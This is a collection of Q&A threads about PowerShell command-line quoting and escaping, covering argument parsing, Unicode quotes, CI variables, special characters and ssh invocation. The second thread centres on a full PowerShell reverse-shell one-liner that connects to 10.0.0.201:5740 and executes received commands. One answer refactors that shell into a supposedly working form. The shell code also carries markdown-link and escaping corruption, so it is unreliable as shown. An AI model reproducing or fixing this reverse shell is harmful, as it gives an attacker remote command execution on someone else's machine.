Powershell - escaping string passed to child process - powershell

I spent some time figuring out the correct syntax for a Powershell script. However in the end it was trial and error approach and I would like to know why the syntax below doesn't work.
The script starts new Powershel in elevated mode and sets environment variable. Here's the excerpt:
$x = "NewValue"
$arguments = "-NoExit", "-command", "&{ [Environment]::SetEnvironmentVariable(`"MyVar1`", `"$x`", [EnvironmentVariableTarget]::Machine) }"
Start-Process powershell -Verb runAs -ArgumentList $arguments
If I just print out the variable $arguments, it's an array as I would expect:
-NoExit
-command
&{ [Environment]::SetEnvironmentVariable("MyVar1", "NewValue", [EnvironmentVariableTarget]::Machine) }
However, in the child Powershell the double quotes are eaten somehow and missing. Why? Is it expected behavior? It outputs:
At line:1 char:42
+ &{ [Environment]::SetEnvironmentVariable(MyVar1, NewValue, [EnvironmentVariableT ...
+ ~
Missing ')' in method call.
At line:1 char:42
+ &{ [Environment]::SetEnvironmentVariable(MyVar1, NewValue, [EnvironmentVariableT ...
+ ~~~~~~
Unexpected token 'MyVar1' in expression or statement.
At line:1 char:48
+ &{ [Environment]::SetEnvironmentVariable(MyVar1, NewValue, [EnvironmentVariableT ...
+ ~
Missing argument in parameter list.
At line:1 char:2
+ &{ [Environment]::SetEnvironmentVariable(MyVar1, NewValue, [EnvironmentVariableT ...
+ ~
Missing closing '}' in statement block.
At line:1 char:96
+ ... arget]::Machine) }
+ ~
Unexpected token ')' in expression or statement.
At line:1 char:98
+ ... get]::Machine) }
+ ~
Unexpected token '}' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : MissingEndParenthesisInMethodCall
My environment:
> $PSVersionTable
Name Value
---- -----
PSVersion 4.0
WSManStackVersion 3.0
SerializationVersion 1.1.0.1
CLRVersion 4.0.30319.42000
BuildVersion 6.3.9600.17400
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0}
PSRemotingProtocolVersion 2.2
===============================================================
For reference, here's working version using single quotes instead of double quotes (I also removed -NoExit parameter, which was there only for debugging):
$x = "NewValue"
$arguments = "-command", "&{ [Environment]::SetEnvironmentVariable('MyVar1', `'$x`', [EnvironmentVariableTarget]::Machine) }"
Start-Process powershell -Verb runAs -ArgumentList $arguments

It is how PowerShell.exe parse its command line. It mostly follows .NET rules of command line parsing:
Space is an argument separator. PowerShell.exe will join individual arguments by single space regardless of how many spaces you use to separate arguments.
CMD> PowerShell -Command echo 'multiple spaces'
multiple spaces
If you want to include space in argument value, then you should enclose space in double quotes. Double quotes itself are not a part of resulting argument value and can be anywhere inside argument:
CMD> PowerShell -Command echo 'mult"iple spa"ces'
multiple spaces
If you want literal double quote to be part of argument value, then you have to escape it with backslash:
CMD> PowerShell -Command echo 'literal\"double\"quotes'
literal"double"quotes
If you want literal backslash to precede double quote, then you have to escape that backslash with another backslash. Other than that, backslash interpreted literally and does not need to be escaped:
CMD> PowerShell -Command echo 'back\\slash\\" something\\else\\"'
back\\slash\ something\\else\

Related

Powershell not accepting normal quotation marks

I've been pulling my hair out all day because of this issue.
I'm working on a powershell one-liner and Powershell is being picky with what quotation mark I use. “ vs ", with powershell requiring the former.
Ultimately, the big issue I'm having is that the powershell command won't work if I use the normal quotation marks. Below is the command, followed by the error that is occuring. If I use the weird quotation mark (instead of all of the normal double quotation marks) the command will work fine. It requires this weird quotation mark. Does anyone know what is happening here? Theoretically they should both work, but they definitely do not. My use case prevents me from being able to type the weird quotation mark.
powershell 'Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)",5740)) - Name client;Set-Variable -Value ($client.GetStream()) -Name stream;\[byte\[\]\]$bytes = 0..65535|%{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (iex $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value ($sendback + "PS " + (pwd).Path + "> ") -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
The error:
At line:1 char:468
\+ ... Out-String ) -Name sendback;Set-Variable -Value ($sendback + PS + ( ...
\+ \~
You must provide a value expression following the '+' operator.
At line:1 char:469
\+ ... t-String ) -Name sendback;Set-Variable -Value ($sendback + PS + (pwd ...
\+ \~\~
Unexpected token 'PS' in expression or statement.
At line:1 char:468
\+ ... Out-String ) -Name sendback;Set-Variable -Value ($sendback + PS + ( ...
\+ \~
Missing closing ')' in expression.
At line:1 char:489
\+ ... endback;Set-Variable -Value ($sendback + PS + (pwd).Path + > ) -Name ...
\+ \~
Missing file specification after redirection operator.
At line:1 char:262
\+ ... lue ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){;Set-Var ...
\+ \~
Missing closing '}' in statement block or type definition.
At line:1 char:490
\+ ... dback;Set-Variable -Value ($sendback + PS + (pwd).Path + > ) -Name s ...
\+ \~
Unexpected token ')' in expression or statement.
At line:1 char:650
\+ ... ;$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client ...
\+ \~
Unexpected token '}' in expression or statement.
\+ CategoryInfo : ParserError: (:) \[\], ParentContainsErrorRecordException
\+ FullyQualifiedErrorId : ExpectedValueExpression
As per my comment. Open up any PowerShell Editor to look at your code to see where you are going wrong, as the editors will highlight issues, well before you make a run attempt.
This is what you really have:
Set-Variable -Value (New-Object System.Net.Sockets.TCPClient("[10.0.0.201](https://10.0.0.201)", 5740)) -Name client
Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 |
ForEach-Object{0}
while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0)
{
Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data
Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback
Set-Variable -Value ($sendback + "PS " + (Get-Location).Path + "> ") -Name sendback2
Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2))
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
I took out the aliases because aliases as a rule shown not to be used in production scripts. See the docs on the topic. Aliases are fine for throw-away code and quick CLI stuff.
Unless you are expanding variables or other specific formatting needs, then use the single quote for simple strings. Especially if you are putting this sort of stuff on one line, to avoid unnecessary quoting gymnastics.
So, refactoring a bit should allow this to work.
Set-Variable -Value (New-Object System.Net.Sockets.TCPClient('[10.0.0.201](https://10.0.0.201)', 5740)) -Name client
Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 |
ForEach-Object{0}
while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0)
{
Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data
Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback
Set-Variable -Value (("$sendback PS $((Get-Location).Path) > ")) -Name sendback2
Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2))
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
}
$client.Close()
Putting this all on one line and running this via cmd.exe calling powershell.exe could look like this.
powershell -Command {Set-Variable -Value (New-Object System.Net.Sockets.TCPClient('[10.0.0.201](https://10.0.0.201)', 5740)) -Name client;Set-Variable -Value ($client.GetStream()) -Name stream\[byte\[\]\]$bytes = 0..65535 | ForEach-Object{0};while((Set-Variable -Value ($[stream.Read](https://stream.Read)($bytes, 0, $bytes.Length)) -Name i) -ne 0){Set-Variable -Value ((New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)) -Name data;Set-Variable -Value (Invoke-Expression $data 2>&1 | Out-String ) -Name sendback;Set-Variable -Value (("$sendback PS $((Get-Location).Path) > ")) -Name sendback2;Set-Variable -Name sendbyte -Value ((\[text.encoding\]::ASCII).GetBytes($sendback2));$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush();};$client.Close()}
Yet, only you can test this as none of us here would have the same environment as you of course.
PowerShell[.exe] [-PSConsoleFile <file> | -Version <version>]
[-NoLogo] [-NoExit] [-Sta] [-Mta] [-NoProfile] [-NonInteractive]
[-InputFormat {Text | XML}] [-OutputFormat {Text | XML}]
[-WindowStyle <style>] [-EncodedCommand <Base64EncodedCommand>]
[-ConfigurationName <string>]
[-File <filePath> <args>] [-ExecutionPolicy <ExecutionPolicy>]
[-Command { - | <script-block> [-args <arg-array>]
| <string> [<CommandParameters>] } ]
PowerShell[.exe] -Help | -? | /?
...
EXAMPLES
PowerShell -PSConsoleFile SqlSnapIn.Psc1
PowerShell -version 2.0 -NoLogo -InputFormat text -OutputFormat XML
PowerShell -ConfigurationName AdminRoles
PowerShell -Command {Get-EventLog -LogName security}
PowerShell -Command "& {Get-EventLog -LogName security}"
# To use the -EncodedCommand parameter:
$command = 'dir "c:\program files" '
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
powershell.exe -encodedCommand $encodedCommand
Update:
Your Reddit cross-post reveals that you're trying call the PowerShell CLI from inside PowerShell:
There is normally no good reason to do so, but if you do need it (e.g. when you need to call Windows PowerShell from PowerShell (Core) 7+), pass your commands inside a script block ({ ... }), which avoids the quoting headaches and also enables support for (limited) type fidelity (not just strings) - see this answer.
Obfuscated PowerShell one-liners are sometimes used for nefarious purposes, which, needless to say, should not be condoned.
In string-based CLI calls, which is what you attempted, double quotes require escaping as \" in order to be considered part of the PowerShell command to execute - see this answer for an explanation.
When you used "Unicode" (non-ASCII) double quotes such as “, that escaping need went away, for the reasons explained in the bottom section. However, this should not be relied on.
On a general note: If you use non-ASCII literals such as “ in your script, you must ensure that PowerShell interprets the script file's character encoding correctly, which for UTF-8 files notably requires them to have a BOM in Windows PowerShell - see this answer.
The following discusses calling the PowerShell CLI from cmd.exe / from outside PowerShell in general.
tl;dr
Do not try to use non-ASCII-range quotation marks such as “ and ” (see the bottom section for why).
Instead, use normal (ASCII-range) double quotes (") and escape them as \"
Never use '...' to enclose your PowerShell commands passed to the PowerShell CLI (on Windows, from outside PowerShell), unless your intent is to create a string literal instead of executing a command.
The keys to making your call to powershell.exe, the Windows PowerShell CLI, work as intended from cmd.exe / outside PowerShell[1] are:
Do not use overall '...' quoting (single quoting), because PowerShell will interpret the entire argument as a verbatim string rather than as a command.
It's best to use overall "..." quoting (see below).
Do not use \ as the escape character - except to escape " characters (see below).
Not only does \ not function as a general-purpose escape character (neither in PowerShell nor in cmd.exe), [ and ] do not require escaping, so that, for instance, \[byte\[\]\] should just be [byte[]].
PowerShell's escape character is `, the so-called backtick, and cmd.exe's escape character - in unquoted arguments only - is ^.
" characters that you want to be part of the PowerShell command to execute must be escaped as \"
Escaping " characters is a requirement whether or not you're using overall "..." quoting, but without the latter it is only \" that works - see this answer, which also explains why this escaping is necessary.
With overall "..." quoting, which is generally preferable, because cmd.exe then (mostly) does not interpret the content, \" works too, but there are still edge cases where misinterpretation by cmd.exe can occur, in which case an alternative form of "-escaping is the solution: This alternative form is edition-specific, unfortunately: "^""..."^"" (sic) in Windows PowerShell, ""..."" in PowerShell (Core) 7+ - see this answer.
When calling from cmd.exe / a batch file, avoid use of %, unless you're trying to reference an environment variable cmd.exe-style, e.g. %OS%:
From batch files, % chars. you want to pass through to PowerShell, must be escaped as %%
In an interactive cmd.exe session, % cannot be escaped at all, and %% would be passed as is.
Therefore, to avoid commands from breaking situationally - depending on whether they're called from a batch file or from an interactive session - avoid %, if possible; here you can use foreach as an alternative to use of % as an alias of the ForEach-Object cmdlet (of course, you can use the full cmdlet name too).
Here's a simplified command that implements all the tips above:
:: From cmd.exe / a batch file
:: Note the overall "..." quoting, use of \" for embedded double quotes
:: and use of foreach instead of %
powershell "Write-Output \"hello, world\" 2>&1 | foreach { \"[$_]\" }"
You should be able to fix your command accordingly (which, as currently shown in the question, has additional problems, unrelated to quoting and escaping).
As for using non-ASCII ("Unicode") double quotes:
PowerShell-internally, it is allowed to substitute non-ASCII-range punctuation for their ASCII-range equivalents:
As you've discovered “ (LEFT DOUBLE QUOTATION MARK, U+201C) and ” (RIGHT DOUBLE QUOTATION MARK, U+201D) can be used in lieu of a pair of regular double quotes (")
This answer provides an overview of all substitutions that are supported.
By contrast, on the PowerShell CLI's command line, it is only the normal, ASCII-range double quotes (" (QUOTATION MARK, U+0022)) that have syntactic function, so that the non-ASCII-range “ and ” characters are passed through as part of the PowerShell command to execute.
That is, the use of the non-ASCII-range “ and ” characters effectively saves you from the need to escape them - both in unquoted tokens and inside normal "..."
However, this behavior is both obscure and visually subtle and should not be relied upon: instead, use normal double quotes consistently and escape pass-through ones as \", as discussed above.
As an aside: Regular console windows (conhost.exe) won't even allow you to paste the non-ASCII-range double quotes: they are converted to normal ones. You can, however, paste them in Windows Terminal and in the Windows Run dialog (WinKey-R).
[1] From inside PowerShell, there's rarely a need to call the PowerShell CLI; if needed, the best way to do so is by passing the commands as a script block ({ ... }) - see this answer.

String comparison not working in powershell

I am trying an if else condition in powershell using string comparison. I tried as per documentation using -eq operator. But getting below error. Here "Build.Reason" is a predefined variable. Not sure why its looking for cmdlet name for variable.
Write-Host "$(Build.Reason)"
if ($(Build.Reason) -eq "Manual" ) {
$temp = "https://url/api/qualitygates/project_status?&pullRequest=$(Build.Reason)"
Write-Host "Manual"
} else {
Write-Host "CI"
}
Error
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -Command ". 'D:\a\_temp\d7af16d6-ce3e-4dec-a636-9447962fdac4.ps1'"
Manual
Manual : The term 'Manual' is not recognized as the name of a cmdlet, function, script file, or operable program.
Check the spelling of the name, or if a path was included, verify that the path is correct and try again.
At D:\a\_temp\d7af16d6-ce3e-4dec-a636-9447962fdac4.ps1:7 char:5
+ if (Manual -eq "Manual" ) {
+ ~~~~~~
+ CategoryInfo : ObjectNotFound: (Manual:String) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : CommandNotFoundException
It looks like $(Build.Reason) is a macro-style value provide by a CI system (it is not a PowerShell construct), which is expanded to become a literal part of the code before PowerShell sees it.
Therefore, if this value is to be treated as a string in the resulting PowerShell code, you need to quote it; e.g.:
if ("$(Build.Reason)" -eq "Manual") { # ...
Note that if there's a chance that $(Build.Reason) expands to a value with embedded " characters, they would have to be escaped as `". Similarly, if the value contains embedded $ chars., single-quoting should be used, which may then require escaping embedded single quotes as ''.
If this escaping cannot be performed at the source, you can use a verbatim here-string:
if (#'
$(Build.Reason)
'# -eq 'Manual') { # ...
Important: The closing '# must always be at the very beginning of the line.

Powershell how to pass parameter with special characters

I'm trying to pass a variable to powershell script as parameter. Variable has some special characters and the call to ps1 script fails.
Here I just created a sample to show the problem.
PS C:\>$pass1 = '?q$*9-W$wcx)O.Ra)X-&6'
PS C:\>powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command 'echo '$pass1''
ERROR:
At line:1 char:26
+ echo ?q$*9s8ubhD8c-W$wcx)O.Ra9)DX-D&6
+ ~
Unexpected token ')' in expression or statement.
At line:1 char:32
+ echo ?q$*9s8ubhD8c-W$wcx)O.Ra9)DX-D&6
+ ~
Unexpected token ')' in expression or statement.
At line:1 char:37
+ echo ?q$*9s8ubhD8c-W$wcx)O.Ra9)DX-D&6
+ ~
The ampersand (&) character is not allowed. The & operator is reserved for future use; wrap an ampersand in double quotation
marks ("&") to pass it as part of a string.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : UnexpectedToken
enter image description here
Your script has a syntax error, it doesn't appear to be a problem with the actual value of the parameter/variable.
This is the line that has a syntax error:
powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command 'echo '$pass1''
This is where your problem is:
'echo '$pass1''
You're actually passing 3 things here...
'echo '
$pass1
''
The second single quote is exiting the string.
You need to alternate between single and double strings depending on how you need to use them:
$pass1 = '?q$*9-W$wcx)O.Ra)X-&6'
powershell -Command "echo '$pass1'"

Powershell - passing parameters to script executed via piping [duplicate]

I am running powershell script over ssh as ssh user#host "powershell -Comand - < script.ps1. It works as expected as long as I start passing arguments.
When I put it as powershell -Command - my args it fails (as documented)
'-' was specified with the -Command parameter; no other arguments to -Command are permitted.
While the other way around powershell my args -Command - it fails with:
The term 'my' is not recognized as the name of a cmdlet, function, script file,
or operable program. Check the spelling of the name, or if a path was included
, verify that the path is correct and try again.
At line:1 char:3
+ my <<<< args -Command -
+ CategoryInfo : ObjectNotFound: (my:String) [], CommandNotFoundE
xception
+ FullyQualifiedErrorId : CommandNotFoundException
I intend to put in arbitrary list of parameter without any parsing.
Edit:
As I investigate further, it seems I am doing something wrong even when the command is specified explicitly:
(local bash) $ echo '\n' | ssh -i master-key Admin#10.8.55.78 '$SYSTEMROOT/System32/WindowsPowerShell/v1.0/powershell' -Command 'Write-Host \$\(\$args.Count\)' "my" "args"
0 my args
It seems that passes no arguments but they are printed on console for some reason. Avoiding the ssh does not seems to change anything:
(cygwin) $ $SYSTEMROOT/System32/WindowsPowerShell/v1.0/powershell -Command 'Write-Host $($args.Count)' "my" "args"
0 my args
You can't do that directly, but I think this can be done, if you wrap your script in scriptblock and pass arguments to it:
echo "& { $(cat script.ps1) } 'my' 'args'" | ssh user#host "powershell -Command"
Since -Command parameter can't handle multiline strings, there is a way to pass it in (though not via standard input) using Base64 encoded value of -EncodedCommand parameter, but it's ugly:
ssh user#host "powershell -encodedcommand $((echo "& {"; cat script.ps1 ; echo "} 'my' 'args'") | iconv -f ascii -t utf-16le | base64 -w0 ; echo -e "\n")
This one works as expected:
script=$(cat <<-'SCRIPT'
{
$a=$Args[0];
$b=$Args[1];
# Do not enclose $script into "" to avoid this comment spread till the EOL
Write-Host "This is 'a': $a";
Write-Host "This is 'b': $b";
} # <- call as [[[ -c "& { $script } ... " ]]] if you ommit braces '{}' here
SCRIPT
)
a="THE VALUE OF THE \"a\""
b="B B B B"
powershell -nologo -executionpolicy bypass -c "& $script '$a' '$b'"
output:
> This is 'a': THE VALUE OF THE "a"
> This is 'b': B B B B

Passing empty strings using double quotes via PowerShell.exe -command

Seems like a bug... Only thing I can think of is double quotes are being lost through external invocation but it works when the string has a character, so I don't think so. Zero length string fails.
My version:
>$host
Name : ConsoleHost
Version : 3.0
Empty string fails:
> powershell.exe -command '&{write-host ""}'
The string is missing the terminator: ".
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : TerminatorExpectedAtEndOfString
Works if the string has a character:
> powershell.exe -command '&{write-host "a"}'
a
Works by itself:
> &{write-host ""}
<blank line>
Works with reversed quotes:
>powershell.exe -command "&{write-host ''}"
<blank line>
And as #Ansgar pointed out escaping works (\ isn't documented in powershell.exe /?)
> powershell.exe -command '&{write-host \"\"}'
<blank line>
It appears to be using the at-string parser. The command ends up being:
#"'&{write-host ""}'"
which reduces to
'&{write-host "}'
The alternatives are:
# Like you said, escape the string
powershell.exe -command '&{write-host \"\"}'
# Use a script block instead of a string
powershell.exe -command {write-host ""}
You might also look into using a Base64 encoded command, but I've never gotten that to work.